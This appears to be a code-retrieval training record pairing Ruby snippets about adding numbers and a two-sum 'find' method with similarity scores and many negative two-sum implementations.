@number = number\n end", "def add(value)\n end", "def hash_data_add(hash, key)\n if hash.has_key?(key)\n hash[key] = hash[key] + 1\n else \n hash[key] = 1\n end\n end", "def add_ten(number)\n number += 10\nend", "def add_slide_number(transform, number, formatting={})\n shape = Shapes::SlideNumber.new(transform, number, formatting)\n shape_tree_xml.add_child(shape.build_node)\n end", "def add\n\t number_1 + number_2\n end", "def add_two(number)\n\tunless number.respond_to? :+\n\t\traise ArgumentError, \"Invalid argument\"\n\tend\n\tnumber + 2\nend", "def initialize(number)\r\n @number = number.to_i #.to_i to perform the math as an integer so there are no discrepancies\r\n end", "def push(num)\n\n\t\t# pushes num to the @cal unless nil\n\t\t@calculator << num unless num == nil\n\n\tend", "def initialize(number)\n @num = number\n end", "def add_numbers(input_number)\n $number += input_number\n return $number\nend", "def add_digits(number)\nend", "def add_two(number)\n\tunless number.respond_to? :+\n\t\traise ArgumentError, \"invalid argument\"\n\tend\n\tnumber + 2\nend", "def +(num)\n old_plus(old_plus(num))\n end", "def add(num, *aliases)\n # for alfred, ARGV comes in as one blob\n # have since updated input bash script, but leaving this here anyway\n num, *aliases = num.split if aliases.empty?\n\n data = db_from_file\n # if the number already exists, we will add this alias to that entry\n # TODO: be able to add an alias to an existing alias e.g.: n.aliases.include?(num)\n old_data = data.detect { |n| n.num == num }\n data.reject! { |n| n.num == num }\n # merge old data and new data\n aliases = (old_data.aliases + aliases).uniq if old_data && !old_data.aliases.empty?\n\n new_num = BjUrl::Num.new(num, *aliases)\n data.push(new_num)\n\n db_to_file(data)\n new_num\n end", "def insert(num)\n self[num].push(num) unless include?(num)\n end", "def push_new_numbers(new_numbers, numbers, index, counter)\n new_numbers << counter.to_s\n new_numbers << numbers[index]\nend", "def append_number\n append table.pick\n end", "def add_at(index,value)\n raise \"Index is lower that current index\" if index < max_index\n\n @add_at_next = index + 1\n pos = position_for_index(index)\n\n if out_of_range?(index)\n @store.fill_with_nils\n elsif higher?(index)\n (pos-1).downto(@position) { |i| @store.put(i,nil) } if @current_index >= @size\n @store.put(pos,nil) # We clean the value, if not it gets used by @before_add\n end\n\n set_value(pos,value)\n @position = pos + 1\n @current_index = index\n self\n end", "def append(value)\n table.previsous = value\n @digits << value\n value\n end", "def add(v)\n if @root == nil\n @root = Node.new(v)\n @count = 1\n return\n end\n @root, inc_count = @root.add(v)\n @count += 1 if inc_count\n end", "def number\n HookNumber.new(number_record)\n end", "def append(arr, number)\n arr << number\n return arr\nend", "def number1=(val)\n self.number('number1','key1',val)\n end", "def push(num)\n stack << num\n end", "def add_address(address, tag, list)\r\n list[address] = {} unless list[address]\r\n list[address][tag] ? list[address][tag] += 1 : list[address][tag] = 1\r\nend", "def add_num(num, arr = @numbers)\n @numbers << num if @numbers.empty?\n \n mid_idx = (arr.length-1)/2\n \n if num == arr[mid_idx]\n desired_idx = mid_idx\n elsif num < arr[mid_idx]\n desired_idx = self.add_num(num,arr[0...mid_idx])\n else\n right_search = self.add_num(num,arr[mid_idx+1..-1])\n desired_idx = right_search ? right_search + arr[0..mid_idx].length : 0\n end\n \n @numbers.insert(desired_idx,num)\n @length += 1\n end", "def add_phone_number(phone_number)\n return if self.has_number?(phone_number)\n puts \"adding number: \" + phone_number.number \n self.save\n self.list_memberships.create! :phone_number_id => phone_number.id\n if(self.use_welcome_message?)\n puts \"has welcome message, and creating outgoing message\"\n welcome_message = self.custom_welcome_message\n create_outgoing_message( phone_number, welcome_message )\n end \n end", "def add_loan\n @number = params[:number]\n @loan_form_number = params[:loan_form_number]\n @delete_number = (@number.to_i - 1).to_s\n end", "def add_three(num)\n\nend", "def add value, time, attachments: nil\n @time = time\n @value += 1\n end", "def add_atom(num, name)\n if not num.between?(1,@numatoms)\n raise RuntimeError, \"trying to add more atoms than initially specified!\"\n end\n @atoms[num-1] = name\n end", "def next(num)\n @node = num\n @hour.number +=1\n end", "def number; end", "def number; end", "def add(val)\n \n end", "def set_num(user_number)\n self.num = user_number\n\n self\n end", "def _add( *nums ) self.class.add( *nums ); end", "def Add(val)\n self.value += val\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def additem(list, item, number = 1)\n# input: hash, item name and optional quantity\n# steps: push an item into the hash\n list.store(item, number)\nend", "def add_number(file, int)\n file << \"#{int},\"\nend", "def number=(_arg0); end", "def write_number(crl_number)\n @db.execute('UPDATE crl_number SET number=?', crl_number)\n end", "def number(\n number,\n send_digits: nil,\n url: nil,\n method: nil,\n status_callback: nil,\n status_callback_event: nil,\n status_callback_method: nil,\n **keyword_args\n )\n append(Number.new(\n number,\n send_digits: send_digits,\n url: url,\n method: method,\n status_callback: status_callback,\n status_callback_event: status_callback_event,\n status_callback_method: status_callback_method,\n **keyword_args\n ))\n end", "def qty_to_add=(num)\n ### TODO this method needs a history of who did what\n inventory.lock!\n self.inventory.count_on_hand = inventory.count_on_hand.to_i + num.to_i\n inventory.save!\n end", "def plus(number)\n @operation = '+' \n @number = number\nend", "def add_option(number, value)\n t = Misc::TLV.new(1,1)\n t.type = number\n t.value = value\n t.length = value.length + 2\n @options << t.encode\n end", "def add_two(number)\n if number.respond_to? :+\n if number.respond_to? :push\n if number.respond_to? (:to_str)\n number.push 2\n else\n number + 2\n end\n end\n end\nend", "def add(element)\n\t\t@size += 1\n\t\t@data.push(element)\n\t\telement\n\tend", "def add(num_1, num_2)\n\tnum_1 = 2\n\tnum_2 = 3\n\tnum_1 + num_2\nend", "def create\n if NumberRunning.count == 0\n running = NumberRunning.new\n running.counter = 1111111111\n running.save!\n else\n running = NumberRunning.first\n end\n\n @number = Number.new\n\n can_use_unique = false\n unless params[\"value\"].nil?\n newvalue = params[\"value\"].to_i\n unless Number.any? {|n| n.value == newvalue }\n can_use_unique = true\n end\n end\n\n if can_use_unique\n @number.value = newvalue\n else\n @number.value = running.counter\n running.counter += 1\n running.save!\n end\n\n @number.save!\n\n render :index\n end", "def push(num)\n @stack << num\n\n return num\n end", "def << value\n add(value)\n end", "def mess_with_it(some_number)\n some_number += 8\nend", "def next_number(number)\n return number += 1\nend" ]
[ "0.7582791", "0.7461973", "0.72895044", "0.69868714", "0.69838303", "0.6942328", "0.66654557", "0.6653267", "0.66481566", "0.64591485", "0.6418465", "0.6395394", "0.6333122", "0.6330945", "0.631915", "0.63148993", "0.62855315", "0.6269009", "0.6248976", "0.62194043", "0.6144109", "0.6141045", "0.6140394", "0.6094633", "0.60468704", "0.5987743", "0.59828156", "0.5961426", "0.5961209", "0.5936258", "0.59243995", "0.5906646", "0.589793", "0.58856136", "0.5860508", "0.58579534", "0.58083886", "0.5794067", "0.57904744", "0.5770812", "0.57584876", "0.574023", "0.5739798", "0.5736891", "0.5731524", "0.57300466", "0.57218814", "0.57013786", "0.56924224", "0.56917506", "0.5676311", "0.5671128", "0.56686", "0.5659669", "0.5654562", "0.5648121", "0.56163937", "0.5599044", "0.5594985", "0.5592656", "0.5583719", "0.5580292", "0.5570333", "0.55668277", "0.5565735", "0.5551983", "0.55400044", "0.5535791", "0.55346894", "0.5525801", "0.5525013", "0.5521824", "0.5517523", "0.5517523", "0.55127054", "0.5509228", "0.550169", "0.5499675", "0.54945946", "0.54945946", "0.54945946", "0.54945946", "0.54945946", "0.54945946", "0.5487378", "0.548672", "0.5481118", "0.5481061", "0.5468647", "0.5456948", "0.54497904", "0.5438671", "0.54349095", "0.54190767", "0.5416967", "0.54159796", "0.5411119", "0.5402737", "0.54023695", "0.53982425" ]
0.73469275
2
=begin Find if there exists any pair of numbers which sum is equal to the value. :type value: Integer :rtype: Boolean =end
def find(value) @set.each do |k,v| return true if ((value-k) == k) ? @set[value-k] > 1 : @set[value - k] end return false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_pair_with_sum(data, sum)\n lo = 0\n hi = data.size - 1\n test_sum = data[lo] + data[hi]\n while lo <= hi\n puts \"test_sum: #{test_sum}, data[lo]: #{data[lo]}, data[hi]: #{data[hi]}\"\n return true if test_sum == sum\n if test_sum > sum\n hi -= 1\n else\n lo += 1\n end\n test_sum = data[lo] + data[hi]\n end\n false\nend", "def sum_pair?(arr, sum)\n for i in (0...arr.size-1)\n for j in (i...arr.size)\n return true if arr[i] + arr[j] == sum\n end\n end\n false\nend", "def sum_to_n?(arr, n)\n return false if arr.empty? or arr.length == 1\n # returns true at first pair that sum to n\n return true if arr.combination(2).find { |x, y| x + y == n }\n # returns true at first pair that sum to n\n return false\nend", "def sum_to_n? arr, n\n # YOUR CODE HERE\n pairs = arr.combination(2).to_a\n \n for p in pairs\n if p.sum == n \n return true\n end\n end\n \n return false\nend", "def sum_to_n? arr, n\n # Creates an array of every possible pair in arr and finds pair that sums n\n if arr.combination(2).find{|a,b| a + b == n}\n return true\n else\n return false\n end\nend", "def has_pair_with_sum(data, sum)\n (0..data.size - 2).each do |i|\n num = data[i]\n complement = sum - num\n puts \"num: #{num}, complement: #{complement}\"\n\n # binary search for num's complement in rest of array\n lo = i + 1\n hi = data.size - 1\n while lo <= hi\n mid = (lo + hi) / 2\n puts \"data[mid]: #{data[mid]}, mid: #{mid}, lo: #{lo}, hi: #{hi}\"\n return true if data[mid] == complement\n if data[mid] < complement\n lo = mid + 1\n else\n hi = mid - 1\n end\n end\n end\n false\nend", "def okay_two_sum?(arr, target)\n arr.sort!\n pairs = arr.combination(2)\n pairs.any? { |pair| pair.sum == target }\nend", "def two_sum?(arr, target_sum) \n hash = Hash.new(0)\n arr.each do |num|\n hash[num] = 1 \n end \n\n arr.each do |num|\n num2 = target_sum - num\n next if num2 == num\n next if hash[num2].nil?\n return true if hash[num2] == 1\n end\n false\nend", "def sum_to_n? arr, n\n arr = arr.combination(2).to_a\n arr.any? {|a| a.sum == n} ? true : false\nend", "def two_sum?(arr, target_sum)\n arr_hash = Hash.new\n arr.each do |num|\n if num * 2 == target_sum\n return true if arr.count(num) == 2\n else\n arr_hash[num] = target_sum - num\n end\n end\n arr_hash.each_value do |v|\n return true if arr_hash[v]\n end\n false # if one of the key + one of the value = target_sum then return true\nend", "def two_sum?(arr, target_sum)\n hash = {}\n arr.each do |el|\n hash[el] = el\n return true if hash.has_value?(target_sum - el)\n end \n false\nend", "def sum_pairs(numbers, sum)\n # Numbers witch we select as checked that we have in array.\n # Selected number is the index of array. So if we want to select\n # number 4 as chekced we do it so with putting checked[4] = 1 and so on.\n checked = []\n # Iterate over each number\n numbers.each do |n|\n # check what is the difference between searching sum and current number\n temp = sum - n\n # ... and if we already checked such number (checked[temp] == 1)\n # and it is grater or equal 0 (because we are looking for sum )\n # then there is our pair of numbers ([temp, n])\n return [temp, n] if (temp >= 0) && (checked[temp] == 1)\n checked[n] = 1\n end\n nil\nend", "def two_sum?(arr, target_sum)\n hash = Hash.new(0)\n arr.each_with_index do |num, idx|\n hash[num] = idx\n end\n arr.each_with_index do |num, idx|\n return true if hash.has_key?(target_sum - num) && idx != hash[target_sum - num]\n end\n false\nend", "def sum_to_n? arr, n\n match = arr.combination(2).find { |x, y| x + y == n }\n if match\n return true\n else\n return false\n end\nend", "def is_sum_of_any_two(target, numbers)\n for index1 in 0...numbers.length - 1\n for index2 in index1 + 1...numbers.length\n if (numbers[index1] + numbers[index2]) == target\n return true\n end\n end\n end\n false\nend", "def two_sum? sum\n dict = Hash.new(false)\n self.each do |el|\n return [sum-el, el] if dict[el]\n dict[sum-el] = true\n end\n false\n end", "def two_sum?(arr, target_sum)\n h = Hash.new(0)\n\n arr.each { |num| h[num] += 1 }\n\n h.each do |key, v|\n subtarget = target_sum - key\n if h[subtarget] != 0 && (subtarget != key || (subtarget == key && v > 1))\n return true \n # if subtarget == key\n # return true if v > 1\n # end\n # return true\n end \n end\n false\n\nend", "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend", "def two_sum?(arr, target)\n hash = Hash.new(0)\n arr.each do |ele|\n hash[ele] += 1\n end\n arr.each do |ele|\n dif = target - ele\n if hash[dif] && (dif != ele || hash[dif] >= 2 )\n # if hash.include?(dif) && (dif != ele || hash[dif] >= 2 ) \n return true \n end\n end\n false\nend", "def sum_to_n?(numbers, n)\n\tif numbers.length == 0\n\t\tif n == 0\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\telse\n\t\treturn numbers.permutation(2).any?{|pair| pair.inject(:+) == n}\n\tend\nend", "def sum_of_two?(set)\n set.any? { |x| set.include?(self-x) }\n end", "def sum_exists?(arr, sum, p, q)\n if p < q\n (p - 1..q - 2).each do |i|\n return true if arr[i] + arr[i + 1] == sum\n end\n\n sum_exists?(arr, sum, p + 1, q)\n end\n\n return false\nend", "def two_sum?(array, target_sum)\n matches = {}\n array.each do |num|\n return true if matches.has_key?(target_sum - num)\n matches[num] = 1\n end\n false\nend", "def sum_to_n?(array,n)\n if array.empty? || array.count == 1\n false\nend\n if array.combination(2).detect {|a,b| a+b ==n}\n true\n end\nend", "def two_sum?(arr, target_sum)\n (0...arr.length).each do |i|\n (0...arr.length).each do |j|\n next if i == j\n return true if arr[i] + arr[j] == target_sum\n end\n end\n\n false\nend", "def sum_to_n?(ints, n)\n\t# ints.each{|first|\n\t# \tints.each{|second|\n\t# \t\treturn true if first + second == n\n\t# \t}\n\t# }\n\t# return false\n\tif ints.empty?\n\t\tints[0,1] = 0,0\n\t\t# return n == 0 ? true : false\n\tend\n\n\tcombinations = ints.combination(2).to_a\n\tcombinations.each{|c|\n\t\treturn true if c[0] + c[1] == n\n\t}\n\treturn false\nend", "def two_sum?(arr, target_sum)\n debugger\n complements = {}\n\n arr.each do |el|\n return true if complements[target_sum - el]\n complements[el] = true\n end\n\n false\nend", "def okay_two_sum?(arr, target)\n # arr.sort.bsearch(target)\n # arr.combination(2).any? { |el,el2| return true if el + el2 == target }\n\n sorted = arr.sort\n (0...sorted.lentgh-1).each do |i|\n if arr[i] + arr[i+1] == target \n return true \n end \n end \nend", "def sum_to_n? arr, n\n !!arr.uniq.combination(2).detect { |x, y| x + y == n }\nend", "def bad_two_sum?(arr, target_sum) \n arr.each_with_index do |num, idx|\n arr.each_with_index do |num2, idx2|\n next if idx2 == idx\n return true if num2 + num == target_sum\n end\n end\n false\nend", "def two_sum?(array, target_sum)\n array_hash = {}\n array.each do |el|\n array_hash[el] = true\n end\n\n array.each_with_index do |el|\n next if target_sum - el == el\n return true if array_hash[target_sum - el]\n end\n false\nend", "def sum_to_n?( arr, n )\n return false if arr.nil? or arr.empty? or arr.length == 1\n arr.each do |first|\n arr.each do |second|\n return true if (first + second == n) and first != second\n end\n end\n false\nend", "def pair_sum?(arr, target)\n freq_table = Hash.new(0)\n arr.each do |num|\n return true if freq_table[target - num] > 0\n freq_table[num] += 1\n end\n false\nend", "def bad_two_sum?(arr, target_sum)\n arr.size.times do |start|\n (start + 1...arr.size).each do |stop|\n return true if arr[start] + arr[stop] == target_sum\n end\n end\n false\nend", "def two_sums?(arr, target)\n # number_count = Hash.new(0)\n #\n # arr.each do |num|\n # number_count[num] += 1\n # end\n #\n # arr.each do |num|\n # other_num = target - num\n # number_count[num] -= 1\n # return true if number_count.include?(other_num) && number_count[other_num] > 0\n # end\n #\n # false\n set = Set.new(arr)\n arr.each do |num|\n set.delete(num)\n return true if set.include?(target - num)\n end\n false\nend", "def two_sum?(arr, target)\n hash = {}\n arr.each do |num|\n diff = target - num\n # return true if hash.keys.include?(diff)\n return true if hash[diff]\n hash[num] = 0 #0 can be anything, value is irrelevant\n end\n false\nend", "def two_sum?(arr, target_sum)\n\n hash = {}\n arr.each_with_index do |i,idx|\n hash[i] = idx\n end\n arr.each_with_index do |j, idx2|\n return true if hash.has_key?(target_sum - j) && hash[target_sum-j] != idx2\n end\n false\n\nend", "def find(value)\n @map.keys.each do |v|\n diff = value - v\n if @map.key?(diff)\n return true if v != diff || @map[value - v] > 1\n end\n end\n\n false\n end", "def sum_to_n?(ints, n)\n return n == 0 if ints.size == 0\n (0...ints.size).each_with_index do |i|\n (i+1...ints.size).each do |j|\n return true if (ints[i]+ints[j]==n)\n end\n end\n return false\nend", "def sum_to_n?(array, n)\n return false if array.empty? || array.length == 1\n\n array.combination(2).any? { |x, y| x + y == n }\nend", "def okay_two_sum?(arr, target) # => [0,1,5,7] \n sorted = qs(arr)\n\n (0...sorted.length-1).each do |i|\n return true if sorted[i] + sorted[i + 1] == target\n end\n\n false\nend", "def bad_two_sum?(arr, target_sum)\n arr.each_with_index do |ele1, idx1|\n arr.each_with_index do |ele2,idx2|\n if idx2 > idx1 && arr[idx1] + arr[idx2] == target_sum\n return true\n end\n end\n end\n false\nend", "def hash_pair_sum?(arr, target)\n count = Hash.new(0)\n arr.each { |num| count[num] += 1 }\n\n count.keys.each do |key|\n remainder = target - key\n return true if count[remainder] > 0\n end\n false\nend", "def two_sum?(arr, target_sum)\n hash = Hash.new\n\n arr.each do |el|\n hash[el] = el\n end\n\n arr.each do |el|\n target = target_sum - el\n return false if target == el\n return true if hash.key?(target)\n end\n\n false\nend", "def bad_two_sum?(arr, target_sum)\n (0...arr.length - 1).each do |i|\n (i + 1..arr.length - 1).each do |j|\n return true if arr[i] + arr[j] == target_sum\n end\n end\n false\nend", "def bad_two_sum?(arr, target_sum)\r\n arr.each_with_index do |ele1, i1|\r\n arr.each_with_index do |ele2, i2|\r\n return true if i2 != i1 && (ele1 + ele2 == target_sum)\r\n end\r\n end\r\n\r\n false\r\nend", "def two_sum(arr)\n \n found = false\n arr.each do |e|\n found = true if arr.any?{|x| e+x == 0}\n end\n found\n \nend", "def two_sum?(array, target_sum)\n checked = {}\n\n array.each_with_index do |ele, i|\n return true if checked[target_sum - ele]\n checked[ele] = i\n end\n false\n\nend", "def okay_two_sum?(arr, target_sum)\n sorted = arr.sort\n (0...sorted.length).each do |i|\n (i + 1...sorted.length).each do |j|\n return true if sorted[i] + sorted[j] == target_sum\n break if sorted[i] + sorted[j] > target_sum\n end\n end\n false\nend", "def two_sum?(arr, target_sum)\n summands = {}\n\n arr.each do |num|\n return true if summands[target_sum - num]\n\n summands[num] = true\n end\n\n false\nend", "def sum_to_n? arr, n\n if arr.nil? || arr.empty? || arr.size == 1\n return false\n else \n arr.each {|x| arr.each {|y| return true if x + y == n && x != y}}\n end\n return false\nend", "def find_pairs(arr, sum)\n arr.combination(2).find_all { |x, y| x + y == sum }\nend", "def okay_two_sum?(arr, target_sum)\n sorted_arr = arr.sort\n (0...sorted_arr.length).each do |i|\n next if i+1 == sorted_arr.length\n return true if sorted_arr[i] + sorted_arr[i+1] == target_sum\n end\n\n return false\nend", "def bad_two_sum?(arr, target_sum)\n (0...arr.length - 1).each do |i|\n (i+1...arr.length).each do |j|\n return true if arr[i] + arr[j] == target_sum\n end\n end\n return false\nend", "def bad_two_sum?(arr, target_sum)\n arr.each_with_index do |o_el, o_idx|\n arr.each_with_index do |i_el, i_idx|\n next if o_idx == i_idx\n return true if o_el + i_el == target_sum\n end\n end\n false\nend", "def sum_to_n?(int_array, n)\n return false unless int_array.respond_to?(:combination)\n \n int_array.uniq.combination(2).detect {|arr| sum(arr) == n }\nend", "def bad_two_sum?(arr, target_sum)\n arr.each_with_index do |num1, i|\n arr[i..-1].each do |num2|\n next if num1 == num2\n\n return true if (num1 + num2) == target_sum\n end\n end\n\n false\nend", "def better_sum?(arr, target)\n pair_set = Set.new\n\n arr.each do |ele|\n if pair_set.include?(ele)\n return true\n else\n pair_set << target - ele\n end\n end\n\n false\n\nend", "def two_sum?(arr, sum)\n hash = Hash.new { |h, k| h[k] = 0 }\n arr.each do |el|\n if hash.has_key?(sum - el)\n return true\n else\n hash[el] = sum - el\n end\n end\n false\nend", "def two_sum?(arr,target) \n value_hash = {}\n arr.each.with_index do |el, idx|\n value_hash[el] = idx\n end\n value_hash.each do |k,v|\n target_pair = target - k \n return true if value_hash.key?(target_pair) && value_hash[target_pair] != v\n end\n false\nend", "def bad_two_sum?(array, target)\n array.each.with_index do |el1, idx1|\n array.each.with_index do |el2, idx2|\n if el1 + el2 == target && idx2 > idx1\n return true \n end\n end\n end\n false \nend", "def two_sum?(arr,target)\n hash = Hash.new(0)\n arr.each do |el|\n hash[el] += 1\n difference = target - el\n if el == difference\n return true if hash[difference] > 1\n else\n return true if hash[difference] > 0\n end\n end\n false\nend", "def bad_two_sum?(arr, target_sum) #O(n^2)\n (0...arr.length).each do |i|\n (i+1...arr.length).each do |j|\n return true if arr[i] + arr[j] == target_sum\n end\n end\n false\nend", "def good_two_sum?(arr, target)\n counter_hash = Hash.new(0)\n arr.each do |el|\n counter_hash[el] += 1\n end\n\n arr.each do |el|\n search_val = target - el\n if counter_hash[search_val] && search_val==el\n return true if counter_hash[search_val] >= 2\n elsif counter_hash[search_val] > 0\n return true\n end\n end\n false\nend", "def two_sum?(arr, target)\n s1 = Set.new \n arr.each_with_index do |el, idx|\n return true if s1.include?(target-el)\n s1.add(el)\n end\n false\nend", "def bad_two_sum?(arr, target)\n\n arr.each.with_index do |x, idx|\n arr.each.with_index do |y, idy|\n if idx == idy\n next\n else\n if (x + y) == target\n return true\n end\n end\n end\n end\n\n return false\n\nend", "def okay_two_sum?(arr, target_sum)\n sorted_arr = quick_sort(arr)\n (0...sorted_arr.length - 1).each do |i|\n return true if sorted_arr[i] + sorted_arr[i + 1] == target_sum\n end\n false\nend", "def sum_to_n?(array, n)\n array.product(array).any? {|couple| sum(couple) == n}\nend", "def four_sum?(arr, target)\n hash = Hash.new { |h, v| h[v] = [] }\n (0...arr.length - 1).each do |i|\n (i + 1...arr.length).each do |j|\n sum = arr[i] + arr[j]\n hash[sum] << [i, j]\n end\n end\n # p hash\n hash.each do |first_number, first_pairs|\n second_number = target - first_number\n if hash.has_key?(second_number)\n second_number_values = hash[second_number]\n # uniq on first pairs and second pairs\n second_number_values.each do |x2, y2|\n first_pairs.each do |x1, y1|\n if [x1, y1, x2, y2].uniq.length == 4\n # p [x1, y1, x2, y2]\n return true\n end\n end\n end\n end\n end\n false\nend", "def sum_to_n? arr, n\n\nreturn false if arr.empty? || arr.length==1\n\nfor i in 0...arr.length\n for j in 0...arr.length\n if i != j\n return true if arr[i] + arr[j] == n\n end\n end\nend\n\nreturn false\n\nend", "def two_sum(array, target_sum)\n hash = {}\n array.each do |ele|\n hash[target_sum - ele] = ele\n end \n array.each do |ele|\n # debugger\n return true if !(hash[ele].nil? || hash[ele] == ele) \n end \n false \nend", "def sum_to_n? arr, n\n arr.each_with_index { |first, i1|\n arr.each_with_index { |sec, i2|\n return true if first + sec == n && i1 != i2\n }\n }\n return false\nend", "def okay_two_sum?(arr, target_sum)\n sorted = arr.sort\n sorted.each_with_index do |num, idx|\n num2 = target_sum - num\n next if num2 == num\n return true if b_search(sorted, num2) \n end\n false\nend", "def okay_two_sum?(array, target)\n array.sort!\n (1...array.length).each do |idx|\n return true if array[idx-1] + array[idx] == target\n end\n false\nend", "def sum_to_n? arr, n\n return false if arr.empty?\n combinations_found = arr.combination(2).to_a.select { |o| o.inject(:+) == n }\n combinations_found.size > 0\nend", "def hash_two_sum(arr,sum)\n arr_hash = Hash.new(0)\n arr.each do |el|\n arr_hash[el] += 1\n end\n\n arr.each do |el|\n return true if arr_hash[sum - el] > 0 &&\n (sum - el != el || arr_hash[sum - el] > 1)\n end\n false\nend", "def sum_to_n?(ar, n)\n return false if ar.empty? or ar.count == 1\n ar.uniq.permutation(2).any? { |a| a.first+a.last == n }\nend", "def hash_two_sum?(arr, target_sum)\n hash = Hash.new(0)\n\n arr.each do |ele| \n hash[ele] += 1 \n end\n # hahs = {0=> 1, 1=>1, 5=> 1, 7=> 1}\n arr.each do |ele| # 0, 1, 5\n result = target_sum - ele # 10, # 9, #5 \n return true if hash.has_key?(result) && result != ele #10=>false, 9=> false, 5=>true\n end\n false \nend", "def okay_two_sum?(arr, target_sum)\n arr.sort!\n i, j = 0, arr.length - 1\n\n until i == j\n this_sum = arr[i] + arr[j]\n return true if this_sum == target_sum\n this_sum < target_sum ? i += 1 : j -= 1\n end\n\n false\nend", "def bad_two_sum?(arr, target)\n (0...arr.length).each do |i|\n (i+1...arr.length).each do |j|\n return true if arr[i] + arr[j] == target\n end\n end\n false\nend", "def sum_to_n? (int_array, n)\r\n found = false\r\n secondAddendCandidates = []\r\n int_array.each do |num|\r\n # Check if we found the 2nd addend \r\n if secondAddendCandidates.include? num\r\n found = true\r\n break\r\n else\r\n # Key = candidate for the 2nd addend in the sum\r\n secondAddendCandidates << n-num\r\n end\r\n end\r\n\r\n found\r\nend", "def two_sum?(arr, target)\n h = Hash.new\n arr.each_with_index do |val, i|\n h[val] = i\n end\n\n arr.each_index do |i|\n to_find = target - arr[i]\n return true if h[to_find] && h[to_find] != i\n end\n false\nend", "def bad_two_sum?(arr, target_sum)\n arr.length.times do |i|\n (arr.length - i - 1).times do |j|\n return true if arr[i] + arr[j + i + 1] == target_sum\n end\n end\n false\nend", "def two_sum_to_zero?(arr)\n arr.each_with_index do |n1, idx1|\n arr.each_with_index do |n2, idx2|\n next if idx1 == idx2\n return true if (n1 + n2).zero?\n end\n end\n false\nend", "def two_sum_v3?(arr, target) \n hash = Hash.new\n arr.each { |ele| hash[ele] = ele } #o(n)\n arr.each do |ele| #o(n)\n search_value = target - ele\n return true if !hash[search_value].nil? && hash[search_value] != ele\n end\n false\nend", "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1,idx1|\n i = idx1 + 1\n while i < arr.length\n return true if num1 + arr[i] == target\n i+=1\n end\n end\n false\nend", "def bad_two_sum?(arr, target)\n (0...arr.length).each do |idx1|\n return true if arr[idx1] == target\n (idx1+1...arr.length).each do |idx2|\n return true if (arr[idx1] + arr[idx2]) == target\n end\n end\n false\nend", "def hardcore_two_sum?(arr, target)\n nums = {}\n arr.each{ |n| nums[n] = n }\n\n nums.each do |n,_|\n needed = target - n\n return true if !nums[needed].nil? && nums[needed] != n\n end\n\n false\nend", "def okay_two_sum?(arr, target)\n sorted_arr = arr.sort\n sorted_arr.each.with_index do |el, idx|\n target_pair = target - el\n if sorted_arr[idx+1..-1].bsearch{|n| n >= target_pair } == target_pair\n p target_pair\n return true\n end\n end\n false\nend", "def isSumOfTwoAbundantNumbers n\n\n # we'll cycle over all abundant numbers less than n / 2\n if n / 2 < @@listOfAbundants.first\n return false\n end\n\n if @@listOfAbundants.last < n / 2\n for i in ((@@listOfAbundants.last + 1)..n)\n if isAbundant i\n @@listOfAbundants.push i\n end\n end\n end\n\n for a in @@listOfAbundants\n if a > n /2 \n return false\n end\n \n pair = n - a\n if @@listOfAbundants.include? pair\n return true\n end\n end\n\nend", "def two_sum1?(arr, target_sum)\n sorted_arr = arr.sort\n length = arr.length - 1\n\n mid = arr.length / 2\n\n if mid < target_sum\n (0...mid).any? { |i| arr[i] + arr[i+1] == target_sum }\n else\n (mid...length).any? { |i| arr[i] + arr[i+1] == target_sum }\n end\nend", "def array_sum_to_n?(array, n)\r\n array.combination(2).any?{ |x, y| x + y == n } # For any combination of two elements their sum must be equal to n.\r\nend", "def better_two_sum?(arr, target_sum)\n hash = {}\n arr.each_with_index do |ele,i|\n hash[ele] = i\n end\n arr.each_with_index do |ele,i|\n target = target_sum - ele\n return true if !hash[target].nil? && i != hash[target]\n end\n \n false\nend", "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend", "def two_sum(array, target)\n found = Hash.new(false)\n goal = nil\n\n array.each do |el|\n goal = (target - el).abs\n return true if found[goal] && goal + el == target\n found[el] = true\n end\n\n false\nend", "def sum_to_n?(a, n)\n result = false\n\n while a.length > 1\n e1 = a.slice!(0)\n a.each {|e2| e2 + e1 == n ? result = true : break }\n end\n\n result\nend", "def bad_two_sum?(arr, target)\n (0...(arr.length - 1)).each do |idx1|\n ((idx1 + 1)...arr.length).each do |idx2|\n return true if arr[idx1] + arr[idx2] == target\n end\n end\n false\nend", "def okay_two_sum?(arr, target_sum)\n\narr.sort!\n\nreturn false if arr[-1] < target_sum\n\ni = 0\ni += 1 until arr[i] > target_sum\n\nresult = []\nnew_arr = arr[0...i]\n(0...new_arr.length - 1).each do |i|\n (i+1...new_arr.length).each do |j|\n result << new_arr[i] + new_arr[j]\n end\n end\n result.include?(target_sum)\n\nend", "def okay_two_sum?(arr, sum)\n arr = arr.sort\n arr.each_with_index do |el, idx|\n arr_dup = arr.dup\n arr_dup.delete_at(idx)\n return true if arr_dup.bsearch { |x| x == sum - el }\n end\n false\nend", "def sum_to_n? arr, n\n #arr.product(arr).any? {|c| sum(c) == n && c[0] != c[1] } ----1.3\n arr = arr.sort\n low = 0\n high = arr.length - 1\n while low < high\n if arr[low] + arr[high] == n\n return true\n end\n arr[low] + arr[high] < n ? low += 1 : high -= 1 \n end\n return false\nend" ]
